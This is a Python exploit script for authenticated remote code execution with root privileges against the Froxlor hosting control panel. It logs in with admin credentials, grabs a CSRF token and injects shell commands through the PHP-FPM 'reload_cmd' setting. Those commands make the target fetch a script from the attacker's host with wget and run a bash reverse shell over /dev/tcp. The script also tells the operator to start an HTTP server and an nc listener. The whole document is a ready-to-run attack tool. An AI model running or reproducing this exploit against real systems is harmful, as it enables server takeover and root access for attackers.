import requests, time, re , argparse from datetime import datetime, timedelta try: from colorama import Fore, init except ImportError: print("Please install colorama using the following command:") print("pip install colorama") exit(1) init(autoreset=True) parser = argparse.ArgumentParser(description="Froxlor Authenticated RCE with Root Privileges Exploit by @sarperavci", usage="exploit.py -i 10.10.10.2 -p 12345 -u admin -P password -U http://10.10.10.10:8081") parser.add_argument("-i", "--ip", help="Attacker IP Address", required=True) parser.add_argument("-p", "--port", help="Attacker Port", required=True) parser.add_argument("-u", "--user", help="Froxlor Admin Username", required=True) parser.add_argument("-P", "--password", help="Froxlor Admin Password", required=True) parser.add_argument("-U", "--url", help="Base URL of the Froxlor Admin Panel", required=True) args = parser.parse_args() ADMIN_USER = args.user ADMIN_PASSWORD = args.password BASE_URL = args.url ATTACKER_IP = args.ip ATTACKER_PORT = args.port def preparePayload(): payload = f"""#!/bin/bash\n/bin/bash -c 'bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1'""" file = open("/tmp/revshell.sh", "w") file.write(payload) file.close() def calculateExecutionTime(): now = datetime.now() next_minute = ((now.minute // 5) + 1) * 5 % 60 if next_minute == 0: now += timedelta(hours=1) next_time = now.replace(minute=next_minute, second=0, microsecond=0) return int(next_time.timestamp()) def login(session: requests.Session): headers = { "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Connection": "close" } data = { "loginname": ADMIN_USER, "password": ADMIN_PASSWORD, "dologin": '' } try: r = session.post(BASE_URL, headers=headers, data=data) return r.status_code except: return -1 def getCSRFToken(session:requests.Session): url = f"{BASE_URL}/admin_settings.php?page=overview&part=phpfpm" headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" , "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} r = session.get(url, headers=headers) csrf_token = re.findall(r'', r.text) if csrf_token: return csrf_token[0] return None def changePHPFPMStatus(session:requests.Session, csrf_token:str, enable:bool): status = 1 if enable else 0 url = f"{BASE_URL}/admin_settings.php?page=overview&part=phpfpm" headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryOQpUFkA4WNQAyaYN", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" , "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} data = f"------WebKitFormBoundaryOQpUFkA4WNQAyaYN\r\nContent-Disposition: form-data; name=\"phpfpm_enabled\"\r\n\r\n{status}\r\n------WebKitFormBoundaryOQpUFkA4WNQAyaYN\r\nContent-Disposition: form-data; name=\"phpfpm_defaultini\"\r\n\r\n1\r\n------WebKitFormBoundaryOQpUFkA4WNQAyaYN\r\nContent-Disposition: form-data; name=\"phpfpm_tmpdir\"\r\n\r\n/tmp/\r\n------WebKitFormBoundaryOQpUFkA4WNQAyaYN\r\nContent-Disposition: form-data; name=\"phpfpm_use_mod_proxy\"\r\n\r\n0\r\n------WebKitFormBoundaryOQpUFkA4WNQAyaYN\r\nContent-Disposition: form-data; name=\"phpfpm_use_mod_proxy\"\r\n\r\n1\r\n------WebKitFormBoundaryOQpUFkA4WNQAyaYN\r\nContent-Disposition: form-data; name=\"csrf_token\"\r\n\r\n{csrf_token}\r\n------WebKitFormBoundaryOQpUFkA4WNQAyaYN\r\nContent-Disposition: form-data; name=\"page\"\r\n\r\noverview\r\n------WebKitFormBoundaryOQpUFkA4WNQAyaYN\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\n\r\n------WebKitFormBoundaryOQpUFkA4WNQAyaYN\r\nContent-Disposition: form-data; name=\"send\"\r\n\r\nsend\r\n------WebKitFormBoundaryOQpUFkA4WNQAyaYN--\r\n" r = session.post(url, headers=headers, data=data) return r.status_code def executeCommand(session:requests.Session, csrf_token:str, cmd:str): url = f"{BASE_URL}/admin_phpsettings.php?page=fpmdaemons&id=1" headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryJf3SY0ulp9BPVEf8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" , "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} data = f"------WebKitFormBoundaryJf3SY0ulp9BPVEf8\r\nContent-Disposition: form-data; name=\"description\"\r\n\r\nSystem default\r\n------WebKitFormBoundaryJf3SY0ulp9BPVEf8\r\nContent-Disposition: form-data; name=\"reload_cmd\"\r\n\r\n{cmd}\r\n------WebKitFormBoundaryJf3SY0ulp9BPVEf8\r\nContent-Disposition: form-data; name=\"config_dir\"\r\n\r\n/etc/php/8.1/fpm/pool.d/\r\n------WebKitFormBoundaryJf3SY0ulp9BPVEf8\r\nContent-Disposition: form-data; name=\"pm\"\r\n\r\ndynamic\r\n------WebKitFormBoundaryJf3SY0ulp9BPVEf8\r\nContent-Disposition: form-data; name=\"max_children\"\r\n\r\n5\r\n------WebKitFormBoundaryJf3SY0ulp9BPVEf8\r\nContent-Disposition: form-data; name=\"start_servers\"\r\n\r\n2\r\n------WebKitFormBoundaryJf3SY0ulp9BPVEf8\r\nContent-Disposition: form-data; name=\"min_spare_servers\"\r\n\r\n1\r\n------WebKitFormBoundaryJf3SY0ulp9BPVEf8\r\nContent-Disposition: form-data; name=\"max_spare_servers\"\r\n\r\n3\r\n------WebKitFormBoundaryJf3SY0ulp9BPVEf8\r\nContent-Disposition: form-data; name=\"max_requests\"\r\n\r\n0\r\n------WebKitFormBoundaryJf3SY0ulp9BPVEf8\r\nContent-Disposition: form-data; name=\"idle_timeout\"\r\n\r\n10\r\n------WebKitFormBoundaryJf3SY0ulp9BPVEf8\r\nContent-Disposition: form-data; name=\"limit_extensions\"\r\n\r\n.php\r\n------WebKitFormBoundaryJf3SY0ulp9BPVEf8\r\nContent-Disposition: form-data; name=\"custom_config\"\r\n\r\n\r\n------WebKitFormBoundaryJf3SY0ulp9BPVEf8\r\nContent-Disposition: form-data; name=\"csrf_token\"\r\n\r\n{csrf_token}\r\n------WebKitFormBoundaryJf3SY0ulp9BPVEf8\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n1\r\n------WebKitFormBoundaryJf3SY0ulp9BPVEf8\r\nContent-Disposition: form-data; name=\"page\"\r\n\r\nfpmdaemons\r\n------WebKitFormBoundaryJf3SY0ulp9BPVEf8\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nedit\r\n------WebKitFormBoundaryJf3SY0ulp9BPVEf8\r\nContent-Disposition: form-data; name=\"send\"\r\n\r\nsend\r\n------WebKitFormBoundaryJf3SY0ulp9BPVEf8--\r\n" r = session.post(url, headers=headers, data=data) return r.status_code def main(): session = requests.session() login_status = login(session) if login_status == 200: print(f"{Fore.GREEN}[+] Logged in successfully") else: print(f"{Fore.RED}[-] Failed to login") exit(1) csrf_token = getCSRFToken(session) if csrf_token: print(f"{Fore.YELLOW}[i] CSRF Token Obtained: {Fore.WHITE}{csrf_token}") else: print(f"{Fore.RED}[-] Failed to get CSRF Token") exit(1) changePHPFPMStatus(session, csrf_token, True) # Enable PHP-FPM print(f"{Fore.YELLOW}[i] Preparing payload") preparePayload() print(f"{Fore.YELLOW}[i] Payload prepared on /tmp/revshell.sh") print(f"{Fore.YELLOW}[i] Execute this command on your machine to serve the initial payload:") print(f"\n{Fore.WHITE}cd /tmp && python3 -m http.server 80\n") input(f"{Fore.YELLOW}[i] Press Enter after you have executed the command") print(f"{Fore.YELLOW}[i] Sending inital payload to transfer the payload to the target machine") cmd = f"wget {ATTACKER_IP}/revshell.sh -O /tmp/revshell.sh" status_code = executeCommand(session, csrf_token, cmd) if status_code == 200: print(f"{Fore.GREEN}[+] Initial payload sent successfully") else: print(f"{Fore.RED}[-] Failed to send the initial payload") exit(1) print(f"{Fore.YELLOW}[i] Disabling PHP-FPM") changePHPFPMStatus(session, csrf_token, False) time.sleep(30) print(f"{Fore.YELLOW}[i] Re-enabling PHP-FPM") changePHPFPMStatus(session, csrf_token, True) print(f"{Fore.YELLOW}[i] PHP-FPM enabled") execTime = calculateExecutionTime() print(f"{Fore.YELLOW}[i] The payload will be executed at: ", time.ctime(execTime)) print(f"{Fore.YELLOW}[i] Waiting for the initial payload to be transferred to the target machine") time.sleep(execTime - time.time()) # Wait for the payload to be transferred, it works every 5 minutes like 12:05, 12:10, 12:15 etc. input(f"{Fore.YELLOW}[i] Check if the payload has been downloaded on the target machine. Press Enter to verify") print(f"{Fore.GREEN}[+] Initial payload has been transferred successfully") print(f"{Fore.YELLOW}[i] Execute the following command on your machine to get a shell:") print(f"\n{Fore.WHITE}nc -lvnp {ATTACKER_PORT}") input(f"{Fore.YELLOW}[i] Press Enter after you have executed the command") print(f"{Fore.YELLOW}[i] Sending the final payload to execute the initial payload") cmd = "/bin/bash /tmp/revshell.sh" executeCommand(session, csrf_token, cmd) execTime = calculateExecutionTime() print(f"{Fore.YELLOW}[i] The payload will be executed at: ", time.ctime(execTime)) time.sleep(execTime - time.time() + 15) input(f"{Fore.YELLOW}[i] Press Enter to verify if you have a shell") print(f"{Fore.GREEN}[+] Enjoy your root shell :)") if __name__ == "__main__": main()